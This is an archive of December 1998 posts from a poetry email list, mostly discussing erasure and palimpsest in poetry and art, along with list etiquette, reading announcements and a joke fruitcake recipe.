So I do not mind leaving my work for the few moments which are required to pay attention to mail, and I suppose I have the advantage of working mostly when the majority of listees are asleep on the other sides (sic) of the world. But then again I am a really sad case, and suitable for treatment, if it was not for the lists I think I would have to go train-spotting.

But seriously... I really believe the lists are an impressive function of the net phenomenon, and when the furore and immediacy of the fashion aspect of the internet die down (remember CB radio, hoola hoops et al) the lists, perhaps developed into net meetings, will be the abiding feature which makes the technology worthwhile.

The problem I have with email is its lack of permanence. Occasionally an email will contain a splash of brilliance, (never the ones I write unfortunately) and I always feel inclined to try and save them to a disc. But whereas researchers

have letters and notes available from past years, little remains of the electronic transmissions of recent times, except the list archives, but how permanent are they?

Any way keep posting and save me from myself,

Jim

Click on this link to vote for my site. http://conline.net/vote.mv?id=1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner

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223. **groberts**
Re: Erasing
Sun 6 Dec 1998

Also there is Rauschenberg's famous erasing of a de Kooning drawing. RR asked de Kooning for a drawing to be erased, and was given a mixed media thing because de Kooning wanted to make it a difficult process. RR apparently used about a dozen different kinds of erasers to get the job done, and he claimed it took him about a month to finish.

I've never seen this piece reproduced or in any collection: it just exists for me as a rumor.

Gary R.

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224. **Carmen Butcher**
J. Fuhrman's Question on Palimpsests
Sun 6 Dec 1998

This topic puts me in mind of the Anglo-Saxon palimpsests I worked with in the British Museum. Yes, they were "making room," recycling available "paper" by erasing and writing over. It is wonderful to see the old text underneath the new, since erasing was hard work and not always fully accomlished. Why was the old text being erased? Lack of vellum? Mistakes? New ideas needing space? Sometimes this erasure even made the latest text hard to read, which was also in some sense marvelous, if somewhat frustrating. You think of archaeological tells when you read such a manuscript. Also, Vikings, who helped make texts scarce.

I also think of the Medieval approach to plagiarism. You did simply use the works of others as your own and you built on that, took of them whatever you needed, and made your own work without blushing. You hadn't stolen. Everything built on everything else, the mindset of the palimpsest, in many ways.

I realize this doesn't address the question below directly. But will follow indirection to truth if I can. I thought the question excellent, one that will keep turning over in my mind for time to come...

Cheers, Carmen tom bell wrote: "...clearing away room in the arts goes back at least as far as Matisse and surfaces in a cyclical fashion from that time on." J. Fuhrman wrote: Lately I have been reading Rachel Blau DuPlessis's brilliant and haunting _Drafts 15-XXX, The Fold_,. In it, the image of text erased comes up. This image is also frequent in Michael Palmer and many other contemporary poets as well as visual artists.

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225. Mark DuCharme

Re: free Henry

Sun 6 Dec 1998

I don't believe he is actually banned from posting, but my understanding is all his posts have to be approved by Charles Bernstein, &/or he is limited to a certain # per week. I'll second Mike & everyone else-- as I already backchanneled to Henry last week-- that I don't at all agree with this action.

Mark DuCharme

P.S. to Charles Bernstein: hey Charles, does the list get to vote on this? It certainly seems that everyone disagrees with with restricting Henry.

Michael Magee wrote:
>Excuse my fogginess on this issue but, has Henry actually been banned from
>posting on the list? If so, this seems absolutely outrageous to me!
>Joe's sentiment that "Henry's commitment to, and passion for, art is, from
>my point of view, beyond question" is absolutely true and quite
>pertinent. I've rassled with him as much as anyone but the idea
>that we would somehow keep him from posting really disgusts me.
>I hope I've got this wrong. -Mike.

Get Your Private, Free Email at http://www.hotmail.com

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226. **J. Fuhrman**
Re: Erasing
Sun 6 Dec 1998

Some lines from DuPlessis,

from "Draft 17 Unnamed"

It's true that every ending only erases the board
rather then filling it.
The poems are written in strange chalk
strange, a chalk
in some light dark, plump with serifs
on a scumbled, agitated whiteness,
but mainly a white chalk on a whiter page.

from "Draft 26: M-m-ry"

On her cake the "e" in "years" got smudged.

From "Draft XXX: Fose"

Imagine a book, a little book
    whose words are covered
    one by one
with the smallest pebbles--

(As DuPlessis reminds us in her notes the book does exist, created by Ann Hamilton) I have seen work by other artists that participates in a similar blocking of letters.

Also here's some Palmer
from "Disclosures" in _At Passages_

Beneath the writing on the wall
is the writing it was designed

to obscure. The two together
form a third kind

from "Untitled (February '92)"

Words are made of electrons it turns out
Words remind us of fragments it turns out

parts of legs and parts of arms
It's inviable ink which blots them out.

----- My question, again, has to do with why these images of erased, smudged or blocked text speak to us at this point in time. While I was typing this I just remember that Heather McHugh has an essay on Tom Phillips _A Hummument_(an art book in which a new story is created by blocking the old text) in her book _Broken English_ In the essay, she writes

All poetry is fragment: it is shaped by its breakages, at every turn. It is the very art of turnings, toward the white frame of the page, toward the unsung, toward the vacancy made viable, that wordlessness in which our words are couched. Its lines insistently defy their own medium by averting themselves from the space available, affording the absent it say, not only at the poem's outset and end but at each line's outset and end.

I suppose part of the reason there are so many poems and works of art about "erased texts" is that we are now more self-conscious about the power of fragments than we were.

On Sun, 6 Dec 1998, Tom Orange wrote:

> *Joanna,*
>
> *do you have time to post a part of the duplessis text that you feel speaks to this issue and comment? i haven't been able to get a hold of it yet...*

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227. **A. Jenn Sondheim**
Re: Erasing
Sun 6 Dec 1998

Some of the javascript pages I have at www.anu.edu.au/english/internet_txt speak to this; in one, columns of text efface each other (depending on the browser); in other, a text appears for a split second; in a third, with changing pages, a black page appears - the text is black on black, visible only by using the view command. www.jodi.org of course uses the view com- mand a lot; what appears on the surface is often scrabbled. the piece i did with overlapping columns, btw, is also readable in view - and view is interesting, revealing the bones of works, to the extent that it's acces- sible, i.e. not blocked from view itself.

finally, there are real-time effacements - if one is talking on ytalk for example, where each letter typed appears as soon as it's typed, it may be the case that a line is typed then suddenly erased, for example

i want you to make love to me

appears for a split second, then is gone. it's present and absent simultaneously, a trace or murmur, leaving an impression

Alan

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228. **Pierre Joris**
Re: Erasing
Sun 6 Dec 1998

> *Joanna --*

I tend to think that the poetics (or the aesthetics) of erasure are one of the 2 dominant modes (the other being its near opposite, that of the ever-unfolding fullness of the world in the text, say, the gamble of EP's Cantos etc.) that poetry has taken since the early days of modernism -- I'd put Mallarmé up there as as one core originator of this thought. And, in his wake, a whole range of French poetry this century, a quasi "minimalist" mode -- the likes of Daive, Du Bouchet, Albiach, Royet-Journoud. (Literally, much of their work is based on erasing text from first draughts, eliminating words, whittling what they consider the too full representational magma of written text they start from down to a final structure that consists of a careful interplay of "le Blanc" the (mallarmean) whiteness of the page and the few inscribed traces of text left over. That sense of "erasure" is also allied to a range of notions developed later by Maurice Blanchot (absence, unworking, etc.) The term "erasure" in the sense of something being "under erasure"as such comes, if I'm not mistaken, into French theoretical thought via Derrida out of Heidegger.

Pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

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229. Eliza McGrand
Re: J. Fuhrman's Question on Palimpsests
Sun 6 Dec 1998

one listmember, brenda iijima-uchman, will address this better than i will, but in quick summary, brenda (who is unbelievably gifted visual artists as well) and i were talking about revision. brenda said that she tried not to get stuck in past work, when i said thtat i would sometimes get work from four or five years ago, and then angst about the mistakes/problems in it, then try and fix it. i think her mindset comes more from painting world, where a big part of making art is knowing when to stop. but she elaborated about a sort of self-erasure, almost phoenix from the ashes in a sense.

she described getting interested in X problem(s) -- ideologic, philosophic, materials-oriented -- and producing work addressing/connected to that problem/query. then at certain point, getting interested in new prob/que, moving on to that, and letting go of old, letting that old body of work "represent" her from that period and not going back to revise.

it would be interesting to know if this self-erasure is a visual/plastic arts tendency, or if writers experience it as well. if writing can be whoops writers can be divided into those who practice self-erasure, who view work as time-permeated and best left in its context, and those who, like me, continually go back and ERASE parts of old work and palimpset it into present work! my hunch is that writers keep and revise. e

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230. KENT JOHNSON
My one post for December
Sun 6 Dec 1998

I've been reading over, trying to digest some of the discussion in this amazing posting-politics thread (for I am one of the six no-mail "active" listees Joel alluded to). Now that Ron has posted the numbers, we know who has caused all this trouble: a handful of bulemic-like posters, the three most afflicted of whom have, over the entire month of November, averaged a fraction more than (get your calculators out) _one post per day_. In these bulemia sweepstakes, I come in third, and I apologize to any one of the hundreds at this table who has been made by my condition during the month of November (or other months, though Nov. has been the cuelest one for me, I believe) to feel marginalized, silenced, enervated, bored, nauseous, whatever. I admit I sometimes have a problem with controlling my appetite, and I would gladly take every one of those posts back

and even never post again if it would help in some small way to save the List from this crisis of too many posts-per-person-- a crisis that is ever and dangerously deepening as those individuals who seem most anxious about the problem (including males worried about too many males posting) are now bombarding the List with multiple posts per day in an attempt to theorize how this problem might be solved without hurting the feelings of those poor souls who post too much. I mean the irony of this is so rich and effortless it kind of makes a try-too-hard ironist like me want to hurl chunks of envy all over my screen!

And could I ask if it's someone's joke or if it's _really_ the case that Henry Gould, the poster who most passionately and consistently and intelligently talks about Poetry on this List (though I am personally enervated by a good deal of what he says), has really been temporarily "86'd"?? What's the story with this, anyway? My solution to the problem: Let people like Henry, who post and psot about Poetry and the difficult love for it post all they want so as to keep the List at its core focused and debating about what the List is here for, for goodness sakes. Let there be one, two, three, many Henry's. Then all the peripheral jabberers like me and some others who like to talk about cadavers and sex and slinky underwear will just be an amusing sideshow instead of an ontological cul-de-sac..

Along with DuPlessis and Armand Schwerner, Ronald Johnson is one of the most interesting and brilliant "erasers."

Kent

↑ Index

231. Rachel Levitsky
hello again and query
Sun 6 Dec 1998

Hello,

Rachel Democracy here, back on the list. If at first you don't. . .

Just wanted to say I never did switch to the new email address, if any of you tried to reach me at mindspring, would ya try me at my old email.

Also, does anyone have an email for Gilbert Alter-Gilbert
and does anyone have a suggestion for how to contact Christina Peri Rossi?

P.S. Not a Review-- Went to see Peter Gizzi and John Ashbery yesterday at Double Happiness/Segue reading series and feel renewed. Peter read some new work which seems more playful including a renewed piece, a series of, I think 7 poems meditating on the boogieman. I'd just the night before met a dog named

Boogie. Ashbery was sparkling and funny and lewd and open and I was very very happy. He read unpublished work and I'd thought I'd write down titles but I got carried away. I was amazed at how he's kept reinventing himself within himeself, his singular Ashbery rhythm and how (this was the first time I'd seen him) his voice was just exactly the voice I'd heard on taped readings, tears literally popped out of my eyes!

P.S.S. Could I start a thread on poetry residencies? What has folkses experience been?

Thanks a mill,
R. Democracy

↑ Index

232. **Daniel Zimmerman**
Re: Erasing
Sun 6 Dec 1998

[redacted] wrote:
>
> Also there is Rauschenberg's famous erasing of a de Kooning drawing. RR
> asked de Kooning for a drawing to be erased, and was given a mixed media
> thing because de Kooning wanted to make it a difficult process. RR
> apparently used about a dozen different kinds of erasers to get the job
> done, and he claimed it took him about a month to finish.
>
> I've never seen this piece reproduced or in any collection: it just exists
> for me as a rumor.
>
> Gary R.

The Albright-Knox Art Gallery in Buffalo has it, I believe.

Dan Zimmerman

↑ Index

233. **Joe Amato/Kass Fleisher**
Re: Erasing
Sun 6 Dec 1998

---

related to erasures: well worth checking out jim rosenberg's hypercard project, _intergrams_ (available from eastgate systems), where word clusters materialize and dematerialize by moving the cursor, each cluster consisting of lines that partially obscure other lines...

so many artists have played with print technologies over the past century... i once generated some great-looking busted-up script by running my stuff off on a daisy-wheel printer with an outworn ribbon...

best,

joe

↑ Index

234. david bromige
i want you to make love to me
Sun 6 Dec 1998

Thats' how the message from Julia, to Winston Smith, would have appeared then disappeared (v. Sondheim, Re Era sure) had 1984 been written today.

Thats mainly what I wanted to say, but feeling obliged to provide further substance, would remark that this novel's chief contribution is not its vision of a future, banal as it is, but its life as a love story--which is also a de (con) struction of the love affair. Perhaps the vision was not banal in 1948, but to those of us who have lived thru the 50 years since, it is--whereas the excruciating anaylsis of passionate love and the society whose stability is thought to depend upon its repression, has currency and will travel.

Or, in the interests of a more interactive, kind und gentle List, consider those assertions to be couched as questions. They certainly open themselves to qualification. . . .

db3

↑ Index

235. Karen Kelley
Re: J. Fuhrman's Question on Palimpsests
Sun 6 Dec 1998

I *never* go back to old work and always order book manuscripts chronologically, because they are written in/for a specific time & are then finished. I can't imagine working with an old text. I don't want the psychological baggage of having to feel responsible for "unfinished" pieces forever. I figure it's done once it's published in a mag, and I erase the whole manuscript from disk once it's published as a book. And *that* erasure is such a pleasing one!

But I was a sculpture major undergrad.

Eliza McGrand wrote:

> *it would be interesting to know if this self-erasure is a visual/plastic arts tendency, or if writers experience it as well. if writing can be whoops writers can be divided into those who practice self-erasure, who view work as time-permeated and best left in its context, and those who, like me, continually go back and ERASE parts of old work and palimpset it into present work! my hunch is that writers keep and revise.*
> *e*

↑ Index

236. Stuart Mitchell
Re: POETICS Digest - 4 Dec 1998 to 5 Dec 1998 (#1998-145)
Sun 6 Dec 1998

This is my first posting to the Poetics list.

I write from Glasgow, Scotland.

I receive the Digest of this Poetics List to keep informed about US poetics and poetry - I do buy books on a regular basis - I'm sort of educating myself in recent poetry, realising a couple of years ago thatI knew very little about the poetry being written right now.

So I feel kind of inexpert pitching in on topics, although I do gain a great deal from lurking.

Recently, I have been re-assessing my approach e-lists. I value the discussions but feel, as a reader, that I need to absorb what is happening at quite a slow rate: pressures of work, time to catch up with issues I know nothing about preclude hitting the Reply button.

So I digest.

Best wishes
Stuart Mitchell

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237. Lisa Samuels
numbers, daughter of the book
Sun 6 Dec 1998

dear joel -- and to the many blessed persons who are writing in about writing in to this community chest, i am on the list of 'set to nomail' list members. i would like to stand and confess my reasons: email space (the in-box gets flooded) & time (it's hard to check and read and delete all the time to keep it from getting flooded). having no desire either to separate myself or to discourage the flow of words on this list (why not change the maximum number of permissable messages to 75, or 100, a day? -- is there any particular technical

reason? -- or is 50 a kind of happy maximum?), my solution is to read postings through the wonderfully organized archives you maintain (or the machine, having been programmed wonderfully, maintains). i click on my 'poetics archive' bookmark and scroll through postings for individual months. i usually do so every day. i watch the subjects build and build ('numbers, daughter of the book -- 2 messages'), and i love to read poetics this way. it's like a new book every month -- you never know how it will end. and then -- january comes! so even though i =seem= to be a nonparticipant, my 'nomail' setting belies my constant reading of poetics posts. i wonder how many others do this?

i've always been intrigued by the word 'lurkers' -- it sounds so voyeuristic, so slurpy and hungry and shy and full of unsatisfied desires. but when i read a book, say, i don't feel like a lurker, even though the words i mutter as i'm reading resonate only against the walls of my room.

i don't post much because (apart from the kind of busy life-building we're all doing) what i might write usually swerves away from 'conversation' -- into something i'd rather write essays about, i guess -- and this doesn't feel like an unmediated literary talking time, to me. there are eternal recurrences here -- i'm glad to read them -- but even now i have a sense that i'm adding water to the wordy world.

nonetheless, i will send this, prompted to tell joel that people are perhaps listening more than they seem to be. or at least this people is.

thanks to all who do write. really.
lisa s.

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238. **R. Gancie/C.Parcelli**
Re: Erasing
Sun 6 Dec 1998

Yes, and Heidegger could be seen as a kind of pivot here and antidote to both a naive realism and positivism. Its Heidegger the phenomenologist as much as Heidegger the existentialist and its springs from his understanding of the futility of Husserl's approach where Husserl intends to peal away the inefficient aspects of languages relation to the 'real' by applying a mode of discourse that he has systematically unraveked from the sclerotic accretions of centuries and to eliminate the need for ever proliferating sets of meta-contrivances while acknowleding the contigent demands of time. Thus Logical Investigations is in its own way a very absorbing failure. Husserl kept freezing (trapping) the entity he wanted to free in his language, a natural

result of analysis or verbal vivisection. I find Kant useful here in that he insists ding an sich cannot be captured through in its wholeness (see Bohm). It always struck me that he was quite presciently saying, and their are plenty of writers who have winnowed the same idea so its no big deal here, that knowledge is contingent. Schopenhauer among other things covered Kant's flank by foreseeing the need to address questions arising from what he called 'naive realism.' These same fundamental questions above were at the heart of the philosophical revival in the physics community around quantum theory in the late twenties and early thirties (see Heisenberg, Physics and Beyond. also Hansen, Bohr, Feyerabend, Putnam, Quine etc, etc, ad nauseam) and not surprisingly have been unconsciously fundamental to the debate leveled by conservative elements in the scientific community as well as the Cartesian left of Noam Chomsky and Alan Sokal against Deconstruction and Postmodernism. The problem is these factions (with the exception of Chomsky who is simply an unabashed Cartesian) ignore the roots of Decon/Postmod in European Transcendental Philosophy and the philosophical debate such as that which resulted in the Copenhagen Interpretation surrounding discoverys in quantum mentioned above. The criticism from Gross, Levitt, Sokal et al also lacks a sense of play, that is a sense of/for art which is found in Derrida, Foucault, Latour or as an artist might say the freedom to simply say it, whatever it might be. As Pierre suggests art and especially poetry has a huge stake in this. Mallarme, Pound, Olson, (well the list is immense) have all sensed that the fragment provides an alternative epiphanic glimpse at an essence. The Pinsky/Howe debate touched upon some of these issues. I've always suspected that Pound came to possiblities of the fragment, at least in part, when he 'edited' the Wasteland erasing long, narrative passages while maintaning enough of Eliot's text to provide a series of 'luminous details.' I like to think that the enervated harmony of personal anguish in the context of historical anxiety that is the Wasteland as we know it, must have continually stunned Pound (and suggested a form for the Cantos) as he simply went about cutting much of Eliot's personal narrative away. We haven't looked at translations of ancient texts which exist only in fragments, in the same way since the moderns. Derrida and deconstruction as well as postmodernist writers are familiar with all the threads I awkwardly touched upon above. In this their contribution if not entirely unique (e.g. The Frankfurt School) is in direct and oblique ways highly supportive of art and poetry in particular in a world that largely doesn't give a damn. Erasure is a preposturous notion to, say, a Cartesian rationalist or a pragmatist. What is left out can't be measured. Unlike a mathematical equation, The

elidings do not follow rules and the result is evocative and not
necessarity 'elegant' though Mallarme's Un Coup de Des certainly
qualifies as both.---Carlo Parcelli
Pierre Joris wrote:
>
> > Joanna --
>
> I tend to think that the poetics (or the aesthetics) of erasure are one
> of the 2 dominant modes (the other being its near opposite, that of the
> ever-unfolding fullness of the world in the text, say, the gamble of EP's
> Cantos etc.) that poetry has taken since the early days of modernism -- I'd
> put Mallarmé up there as as one core originator of this thought. And, in his
> wake, a whole range of French poetry this century, a quasi "minimalist" mode
> -- the likes of Daive, Du Bouchet, Albiach, Royet-Journoud. (Literally, much
> of their work is based on erasing text from first draughts, eliminating words,
> whittling what they consider the too full representational magma of written
> text they start from down to a final structure that consists of a careful
> interplay of "le Blanc" the (mallarmean) whiteness of the page and the few
> inscribed traces of text left over. That sense of "erasure" is also allied to
> a range of notions developed later by Maurice Blanchot (absence, unworking,
> etc.)
> The term "erasure" in the sense of something being "under erasure"as
such
> comes, if I'm not mistaken, into French theoretical thought via Derrida out of
> Heidegger.
>
> Pierre
>
> --
> ==========
> Pierre Joris
> [redacted]
> http://www.albany.edu/~joris/
> 6 Madison Place
> Albany NY 12202
> tel: [redacted]
> fax: [redacted]
> ==========
> Nomadism answers to a relation that
> possession cannot satisfy.
>

> — Maurice Blanchot
> ==========

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239. Mairead Byrne
Re: Erasing
Sun 6 Dec 1998

On Sun, 6 Dec 1998 [redacted] wrote:

> Also there is Rauschenberg's famous erasing of a de Kooning drawing. RR
> asked de Kooning for a drawing to be erased, and was given a mixed media
> thing because de Kooning wanted to make it a difficult process. RR
> apparently used about a dozen different kinds of erasers to get the job
> done, and he claimed it took him about a month to finish.
>
My memory of the story is that Rauschenberg somewhat self-effacedly asked for a spare or losable drawing but de Kooning insisted that a really fine piece be used.
Mairead

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240. Mark Weiss
feels like harassment to me, too
Sun 6 Dec 1998

I'm sorry that Elizabeth is opting out, but before I become the latest bete noire I think I'd better reproduce my entire backchannel discussion (complete, I think--I may have edited a line or two before saving) with her.

E. [frontchannel] I would especially like the conversation to be more thoughtful, essayish, and most importantly about topics that feel IMPORTANT (compelling, generative ? -- oh excuse me!) to me. Such as occurs in my small reading/writing group here in the Bay Area, where we read a book superclosely, and yes, sometimes get in entanglements. I am hungry for places to discuss writing

M. [bc] Then why not bring those discussions to the list? Unless you try and no one listens there's not much to complain about.

E. [bc] I have tried, just not recently. Early summer, Gertrude Stein; later, Laura Riding -- my asking seemed to spark a lot of conversation, which I listened rather than added to. And there were some others.

M. [bc] My point exactly--one can raise issues and provoke comment, even as things stand. Instead we get all this handwringing. The list rapidly turns into a gestalt therapy session.

Bully that I am, I thought that we were having a conversation. And I do think that it was appropriate to go backchannel (all 400 or 700 of us really fascinated by this interchange?). And I reiterate that it's just bad manners to publish a private interchange by going frontchannel without permission.

PS. I just looked up bete noire in my handy dandy Larousse. Seems the phrase originally meant wild boar, and not just any black beast, something I truly don't wish to become, despite the flavor.

At 08:06 AM 12/6/98 -0000, you wrote:
>Elizabeth,
>
>
>This is unhappy news. I am tempted to say that sending such a msg bc
>rather than fc is cowardly, that no one has the right to tell anyone to
>shut up and that if they like points so much they should stick their heads
>in a pencil sharpener.
>
>But I'd rather say how much I like your posts, all of which I read, and
>which bring a valuable light to the list
>
>Randolph Healy
>
>
>from [redacted]
>
>----------
>> From: Elizabeth Treadwell <[redacted]>
>> To: [redacted]
>> Subject: it feels like harassment
>> Date: 06 December 1998 00:59
>>
>> OK, I frontchanneled a back channel msg from Mark W. Really not feeling
>> like making enemies for no reason, but to me, a back channel msg
>basically
>> telling me to shut up because what I am saying is obvious or pointless,
>well
>> IT feels like harassment to me!
>>
>> sick of the list,

>> seeya
>>
>> Elizabeth
>>
>> Outlet Magazine -&- Double Lucy Books
>> P.O. Box 9013, Berkeley, California 94709 U.S.A.
>> http://users.lanminds.com/~dblelucy
>
>

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241. KENT JOHNSON
Happy Holidays
Sun 6 Dec 1998

Best Fruit Cake Ever

1c. butter
1c. sugar
4 large eggs
1c. dried fruit
1tsp. baking powder
1tsp. soda
1tsp. salt
lemon juice
1c. brown sugar
nuts
1 or 2 qt. whiskey

Before you start, sample the whiskey to check for quality. Good isn't it? Now go ahead. Select a large mixing bowl, measuring cup, etc. Check the whiskey again as it must be just right. To be sure the whiskey is of the highest quality, pour 1 level cup into a glass and drink it as fast as you can. Repeat. With an electric mixer, beat 1 cup of the butter in a large, fluffy bowl. Add 1 teaspoon of thugar and beat again. Meanwhile, make sure that the whiskey is of the finest quality. Cry another tup. Open second quart, of necessary. Add 2 arge leggs, 2 cups fried druit and beat till high. If druit gets stuck in beaters, jsut pry it loose with a drewsciver.

Sample the whiskey again, checking fro tonscisticity, then sift 3 cups of salt or anything, it really doesn't matter. Sample the whiskey. Sift 1/2 pint lemon juice, fold in chopped butter and strained nuts. Add 1 babblespoon of brown thugar, or whatever you can find, and mix well. Grease oven and turn cake pan to 350

degrees. Now pour all of the shit into the coven and ake. Check whiskey again and bo to ged.

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242. KENT JOHNSON
A web site for the imagination
Sun 6 Dec 1998

The Museum of Jurassic Technology

www.mjt.org

--you gotta check this out. Truly amazing. A museum to poetic spirit un-bounded. There is also the magical book on the MJT from a couple years ago, _Mr. Wilson's Cabinet of Wonder_, thoguh I don't have author's name handy.

How about postings from time to time on favorite web sites Listfarians might check into? I sit at my Alta Vista Search window and my mind goes blank more often than not.

Kent

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243. Poetics List
2 NYC Reading
Sun 6 Dec 1998

Ann Lauterbach and David Bradley Reading

Wed. Dec. 9 at 6:30

City College
138th Street and Convent Ave.
NY

'NAC' Buliding Room 6141

Free Admission

Refreshments

Jackson Mac Low and Joan Retallack Reading

Fri, Dec. 11 at 7:00

Dia Center for the Arts
548 West 22nd St
NY

Reduced admission for students
Free admission for all CCNY Creative Writing MA students

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244. Amy King
Re: why Peter Ganick cannot think... a listserv
Sun 6 Dec 1998

Grizzly Matt Tragic

opens the rose, petal by pedal, as if a bike stood solely on two paths, wearing.

Warring binds another matter in all: The Enemy Papers want a bite; we all eat

one way or another and sacred boundary issues of nurturing ways conceal amongst

the eggs of easter baskets, sun-dried color-filled. Who rode from last year's advice

into an inventory of this year's litany ... de-cauterize, bound to truth, roped

in on the lying train straight for the Byzantine arsenal. Ira has been there–

take care of the law revealing, squelch the revealed. Behind the caboose separates you

from hermetics, just plain tea leaves and mug, mugging for the adopted scene in sequins

of flaking parts, the rough road of stars generate pressure for a day in the making:

he has taken it apart, the fate's doldrums tinker behind that curtain's day,

wheels spin for shadows of eye's day casting. Jesus is in the ceiling if we

just look hellbound. In a puddle, a program, showbill, nightly agenda creeps

emitting omissions, our sonic leftovers of a dinner two years in the interim

between the sky east and west, never again landing. In cold feet, I stand on

what's not mine. Enough of this wishy-washy pie. Command your presence:

sent to the bowl and swiped some cherries. There's more vine left

than these old stalkings. Of those party ways, what would hors doeuvres sound

like when using conversation as we see fitting. To blow off the tirade for a mutual

lingo overtone annihilation undertaken in dissonant harmony, to begin

with the neverending. (Caution. May wear dictionary & still use blind guardians.)

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245. **Thomas Bell**

Archieval Revival Re: Original Good Reads

Mon 7 Dec 1998

For some reason (perhaps because of my derangement) I've kept your post in my todo box. I really like your D-E-R-A-N-G-E-D comment and I would appreciate hearing from other D-E-R-A-N-G-E-D poets (not critics or psychologists who could define it)

tom bell

Laura E. Wright wrote:
>
> > This chapbook In Aethers of the Amazon is truly deranged.
> >
>
> I've been trying all day to come up with a real opposite of cliche (one issued
> raised by Ted Fristrom) and I think "truly deranged" is a pretty good one.
>
> Good derangement cannot be taught, though some learn it on their own, whether
> their early cliches are harshly criticized or not.
>
> The D=E=R=A=N=G=E=M=E=N=T school poets have usually never met each other, in fact,
> some of them have never met anyone at all.
> --
> Laura Wright, Library Assistant
> Allen Ginsberg Library, The Naropa Institute
> 2130 Arapahoe Ave
> Boulder, CO 80302
> [redacted]
> * * * * * *
> "Then there was a situation with tufts (and flowers). This did not agree
> with me either, and time just kept on passing."
> (Henri Michaux)

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,

WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

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246. **dbkk**
Erasing
Mon 7 Dec 1998

> *From: Daniel Zimmerman <[redacted]>*
>
> *[redacted] wrote:*
>
> *Also there is Rauschenberg's famous erasing of a de Kooning drawing. RR asked de Kooning for a drawing to be erased, and was given a mixed media thing because de Kooning wanted to make it a difficult process. RR apparently used about a dozen different kinds of erasers to get the job done, and he claimed it took him about a month to finish.*
>
> *I've never seen this piece reproduced or in any collection: it just exists for me as a rumor.*
>
> *Gary R.*
>
> *The Albright-Knox Art Gallery in Buffalo has it, I believe.*
>
> *Dan Zimmerman*

No no Dan, it is not at Albright-Knox, it is (or will be shortly) here in San Francisco's Museum of Modern Art, hooray!! The Museum here has a new director the notorious David Ross lately of the Whitney and to welcome him the trustees must have spent a zillion dollars to buy all kinds of things, incl. the Erased de Kooning drawing (purchased directly from Rauschenberg) and San Francisco's first Eva Hesse, Mondrian, etc., some incredibly beautiful works. When I go to the museum now I feel sad because my favorite piece is on loan (Jackson Pollock's "Guardians of the Secret") for the big Pollock retrospective but on the other hand they have just acquired that famous Magritte one, mm, I can't remember what it's called ("Personal Values"? "Relative Values"?) but you know, the walls of the room look like the sky and there's a giant comb, shaving brush, pill, all leaning against the furniture of an ordinary bed sitting room.

Well, come on down everyone, to San Francisco and take a look. Besides the erased De Kooning drawing they also have the Rauschenberg piece where John Cage drove a truck over huge sheets of paper. Heavy metal thunder. Oh, and

the original drawings ("they" say) for Duchamp's "Bride Stripped Bare by her Bachelors, Even," even.

Evenly yours,
Kevin Killian

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247. Susan Schultz
Fwd: TINFISH 7 is out!
Mon 7 Dec 1998

This is a multi-part message in MIME format.

--part0_913018627_boundary

--part0_913018627_boundary

air-zb04.mail.aol.com (v53.20) with SMTP; Mon, 07 Dec 1998 03:09:59 -0500
by rly-zb04.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
with SMTP id DAA10673 for <[redacted]>;
Mon, 7 Dec 1998 03:09:58 -0500 (EST)
SMTP id <150586(2)>; Sun, 6 Dec 1998 22:09:55 -1000
Sun, 6 Dec 1998 22:09:33 -1000
Date: Sun, 6 Dec 1998 22:09:31 -1000
From: Susan Schultz <[redacted]>
To: Peter Riley <[redacted]>
cc: [redacted], [redacted]
Subject: Re: TINFISH 7 is out! Geographically interactive!

TINFISH 7 is now available for purchase ($5 each, or $13 for a subscription to 3 issues). TINFISH is a journal of experimental poetry, with emphasis on the Pacific region.

Contributors: from Hawai`i, Ida Yoshinaga, Bill Luoma, Steve Carll, Michael McPherson, Joe Balaz, Rob Wilson, Kathy D.K.K. Banggo, and John Rieder (book reviewer). From the U.S.A.: Renee Gladman, Bobbie West, John Olson, Summi Kaipa, Jason Olive, Dan Featherston, Hugh Steinberg, Jonathan Brannen. From Australia: John Tranter, Stephen Oliver, Louis Armand (well, Czech Republic), John Kinsella (well, U.K.), Coral Hull. From New Zealand: Murray Edmond. From China: Hsia Yu, Steve Bradbury (trans.).

The marvelous covers, inner and outer, by Gaye Chan (HI) and Lisa Asagi (San Francisco).

Please order from me, Susan Schultz, at the address below, or at 47-391 Hui Iwa Street #3, Kaneohe, HI 96744, USA. Barter is possible, especially where different currencies are involved.

Thanks, Susan

Susan M. Schultz
Associate Professor and Director of Creative Writing
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

--part0_913018627_boundary--

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248. nicholas grindell
Re: Happy Holidays
Mon 7 Dec 1998

---

dear list

just wanted to express my gratitude
for the most excellent birthday cake.
i recently switched to digests in a
bid to focus my list-reading time.
it worked. besides the thick blanket
of fresh snow, this morning brought
mr johnson's recipe, which triggered
an outburst of at-the-screen mirth.
i read the whole digest through every
day. every so often i post something.

greetings from berlin

nicholas

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249. Joe Brennan
Re: Erasing
Mon 7 Dec 1998

gut Morgan!

if anyone's interested, there's some heidegger in lacan's "Ethics of Psychoanalysis" where lacan serves up his take of several heideggerian concepts, most noticeably das Ding.

joe...

b/t/w/ my spellcheck wants to change heidegger to headgear....

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250. daniel bouchard
the wasp of capital
Mon 7 Dec 1998

Juliana Spahr has written a stimulating and brief work called "Spiderwasp or Literary Criticism" (Spectacular Books, 1998). Beside the metaphor, the "or" refers to the verso/recto binary of narrative and text; the recto also vertically divided with provoking notes.

Spahr has begun an initial mapping of contemporary poetry in terms that have often been discussed on this List; namely, from where/what is current poetry taking its cues: new american? post-language? both? neither? Through the works of three "emerging" writers, again briefly, Spahr applies this query. It's thoughtful and direct and articulate.

I read it Saturday and felt compelled to recommend it.

Perhaps Katy Lederer can post the ordering information again.

- db

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
